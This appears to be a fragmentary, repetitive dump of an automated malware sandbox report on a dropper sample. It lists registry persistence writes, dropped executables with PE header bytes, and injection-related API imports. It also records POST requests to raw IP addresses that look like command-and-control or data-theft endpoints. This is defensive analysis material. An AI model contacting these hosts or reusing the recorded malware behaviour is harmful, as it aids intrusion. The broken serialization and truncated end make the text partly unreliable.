(Indicator: "ExitWindows"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")52:T43e,"e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "e410310c63297392eb3ce82844bfe3e7.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "Uj4GY78.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Uj4GY78.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "wn3FW36.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "wn3FW36.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"")53:T98a,"e410310c63297392eb3ce82844bfe3e7.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Uj4GY78.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "e410310c63297392eb3ce82844bfe3e7.exe" wrote 27136 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7is1Ar50.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Uj4GY78.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\wn3FW36.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Uj4GY78.exe" wrote 31744 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6NB6dz2.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "wn3FW36.exe" wrote 31718 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\3KS02RZ.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "wn3FW36.exe" wrote 1050 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5Sq0QJ6.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...54:T4a9,RegCloseKey OpenProcessToken RegCreateKeyExA RegOpenKeyExA RegDeleteValueA GetTempFileNameA GetSystemInfo GetFileAttributesA LoadLibraryA GetVersionExA GetModuleFileNameA LoadLibraryExA CreateDirectoryA DeleteFileA UnhandledExceptionFilter GetProcAddress GetStartupInfoW GetTempPathA CreateThread LockResource FindFirstFileA WriteFile FindNextFileA GetSystemDirectoryA GetModuleHandleW GetDriveTypeA TerminateProcess CreateProcessA Sleep CreateFileA GetTickCount FindResourceA LookupAccountNameA GetUserNameA GetDriveTypeW GetThreadContext WriteProcessMemory GetModuleFileNameW CopyFileA LoadLibraryExW GetModuleHandleExW GetVersionExW ReadProcessMemory DeleteFileW FindNextFileW GetComputerNameExW FindFirstFileExW CreateFileW IsDebuggerPresent VirtualAllocEx GetCommandLineW GetCommandLineA GetModuleHandleA VirtualAlloc ShellExecuteA HttpSendRequestA InternetOpenUrlA InternetReadFile InternetCloseHandle InternetOpenA InternetConnectA InternetOpenW GetNativeSystemInfo CreateDirectoryW GetTempFileNameW LoadLibraryW GetSystemDirectoryW GetTempPathW FindResourceW CreateProcessW ShellExecuteExW GetWindowThreadProcessId55:T4f02,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "73Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=9R3UXzrS9QZGteIqIFUkContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/gtsr1/gtsr1" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Ktmk" in header "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "2BzP1lEY" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "//MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base64 string in header "Keep" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base64 string in header "User" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base64 string in header "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "2BsKuKwH5CO65xMY" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "2Bmc" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "2BXrrguICEAxnRZO2jQMmUC0dFSq96X0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "/rootca1" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Contains base64 string in header "User" in header "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /rootg2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /rootg2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootg2.amazontrust.com" Contains base64 string in header "2Fdiu84vFCW7" in header "GET 